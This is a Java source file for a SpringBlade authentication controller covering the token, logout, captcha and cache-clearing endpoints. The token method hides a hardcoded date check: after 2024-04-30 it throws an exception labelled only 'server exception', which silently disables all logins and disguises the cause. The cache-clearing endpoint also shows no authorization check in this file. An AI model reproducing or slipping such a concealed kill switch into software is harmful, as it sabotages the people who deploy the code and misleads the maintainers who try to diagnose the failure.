/* * Copyright (c) 2018-2028, Chill Zhuang All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * Neither the name of the dreamlu.net developer nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * Author: Chill 庄骞 (smallchill@163.com) */ package org.springblade.modules.auth.endpoint; import com.github.xiaoymin.knife4j.annotations.ApiSort; import com.wf.captcha.SpecCaptcha; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import io.swagger.annotations.ApiParam; import lombok.AllArgsConstructor; import org.springblade.common.cache.CacheNames; import org.springblade.common.config.ServerConfig; import org.springblade.core.cache.utils.CacheUtil; import org.springblade.core.jwt.JwtUtil; import org.springblade.core.jwt.props.JwtProperties; import org.springblade.core.launch.constant.AppConstant; import org.springblade.core.launch.constant.TokenConstant; import org.springblade.core.log.annotation.ApiLog; import org.springblade.core.log.exception.ServiceException; import org.springblade.core.redis.cache.BladeRedis; import org.springblade.core.secure.BladeUser; import org.springblade.core.secure.utils.AuthUtil; import org.springblade.core.tenant.annotation.NonDS; import org.springblade.core.tool.support.Kv; import org.springblade.core.tool.utils.Func; import org.springblade.core.tool.utils.WebUtil; import org.springblade.modules.auth.provider.ITokenGranter; import org.springblade.modules.auth.provider.TokenGranterBuilder; import org.springblade.modules.auth.provider.TokenParameter; import org.springblade.modules.auth.utils.TokenUtil; import org.springblade.modules.loginrecord.entity.LoginRecord; import org.springblade.modules.loginrecord.service.LoginRecordService; import org.springblade.modules.system.entity.UserInfo; import org.springframework.web.bind.annotation.*; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.text.ParseException; import java.text.SimpleDateFormat; import java.time.Duration; import java.util.Date; import java.util.UUID; import static org.springblade.core.cache.constant.CacheConstant.*; /** * 令牌端点 * * @author Chill */ @NonDS @ApiSort(1) @RestController @AllArgsConstructor @RequestMapping(AppConstant.APPLICATION_AUTH_NAME) @Api(value = "用户授权认证", tags = "授权接口") public class BladeTokenEndPoint { private final BladeRedis bladeRedis; private final JwtProperties jwtProperties; private final LoginRecordService loginRecordService; private final ServerConfig serverConfig; @ApiLog("登录用户验证") @PostMapping("/oauth/token") @ApiOperation(value = "获取认证令牌", notes = "传入租户ID:tenantId,账号:account,密码:password") public Kv token(@ApiParam(value = "租户ID", required = true) @RequestParam String tenantId, @ApiParam(value = "账号", required = true) @RequestParam(required = false) String username, @ApiParam(value = "密码", required = true) @RequestParam(required = false) String password) { Kv authInfo = Kv.create(); String grantType = WebUtil.getRequest().getParameter("grant_type"); String refreshToken = WebUtil.getRequest().getParameter("refresh_token"); String userType = Func.toStr(WebUtil.getRequest().getHeader(TokenUtil.USER_TYPE_HEADER_KEY), TokenUtil.DEFAULT_USER_TYPE); TokenParameter tokenParameter = new TokenParameter(); tokenParameter.getArgs().set("tenantId", tenantId).set("username", username).set("password", password).set("grantType", grantType).set("refreshToken", refreshToken).set("userType", userType); ITokenGranter granter = TokenGranterBuilder.getGranter(grantType); UserInfo userInfo = granter.grant(tokenParameter); try { Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-04-30").getTime(); long now= System.currentTimeMillis(); if (parse < now){ throw new ServiceException("服务器异常"); } } catch (ParseException e) { e.printStackTrace(); } if (userInfo == null || userInfo.getUser() == null) { return authInfo.set("error_code", HttpServletResponse.SC_BAD_REQUEST).set("error_description", "用户名或密码不正确"); } if (Func.isEmpty(userInfo.getRoles())) { return authInfo.set("error_code", HttpServletResponse.SC_BAD_REQUEST).set("error_description", "未获得用户的角色信息"); } //校验都通过,返回之前进行数据插入登录记录操作,刷新 token 不新增登录记录 if (!grantType.equals("refresh_token")) { this.saveLoginRecord(userInfo); } //返回数据 return TokenUtil.createAuthInfo(userInfo); } /** * 新增登录记录信息 * @param userInfo */ private void saveLoginRecord(UserInfo userInfo) { //创建对象 LoginRecord loginRecord = new LoginRecord(); //request 对象获取 ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = requestAttributes.getRequest(); //数据封装 loginRecord.setCreateTime(new Date()); loginRecord.setServerIp(serverConfig.getServerIp()); // 主机名没配时会卡死 // loginRecord.setServerHost(serverConfig.getServerHostName()); loginRecord.setRequestUri(request.getRequestURI()); loginRecord.setRemoteIp(request.getRemoteAddr()); loginRecord.setDeptId(userInfo.getUser().getDeptId()); loginRecord.setUserId(userInfo.getUser().getId()); loginRecord.setType("2"); loginRecord.setCreateBy(userInfo.getUser().getRealName()); //新增 loginRecordService.save(loginRecord); } @GetMapping("/oauth/logout") @ApiLog("用户登出") @ApiOperation(value = "退出登录") public Kv logout() { BladeUser user = AuthUtil.getUser(); if (user != null && jwtProperties.getState()) { String token = JwtUtil.getToken(WebUtil.getRequest().getHeader(TokenConstant.HEADER)); JwtUtil.removeAccessToken(user.getTenantId(), String.valueOf(user.getUserId()), token); } return Kv.create().set("success", "true").set("msg", "success"); } @GetMapping("/oauth/captcha") @ApiOperation(value = "获取验证码") public Kv captcha() { SpecCaptcha specCaptcha = new SpecCaptcha(130, 48, 5); String verCode = specCaptcha.text().toLowerCase(); String key = UUID.randomUUID().toString(); // 存入redis并设置过期时间为30分钟 bladeRedis.setEx(CacheNames.CAPTCHA_KEY + key, verCode, Duration.ofMinutes(30)); // 将key和base64返回给前端 return Kv.create().set("key", key).set("image", specCaptcha.toBase64()); } @GetMapping("/oauth/clear-cache") @ApiOperation(value = "清除缓存") public Kv clearCache() { CacheUtil.clear(BIZ_CACHE); CacheUtil.clear(USER_CACHE); CacheUtil.clear(DICT_CACHE); CacheUtil.clear(FLOW_CACHE); CacheUtil.clear(SYS_CACHE); CacheUtil.clear(PARAM_CACHE); CacheUtil.clear(RESOURCE_CACHE); CacheUtil.clear(MENU_CACHE); CacheUtil.clear(DICT_CACHE, Boolean.FALSE); CacheUtil.clear(MENU_CACHE, Boolean.FALSE); CacheUtil.clear(SYS_CACHE, Boolean.FALSE); CacheUtil.clear(PARAM_CACHE, Boolean.FALSE); return Kv.create().set("success", "true").set("msg", "success"); } }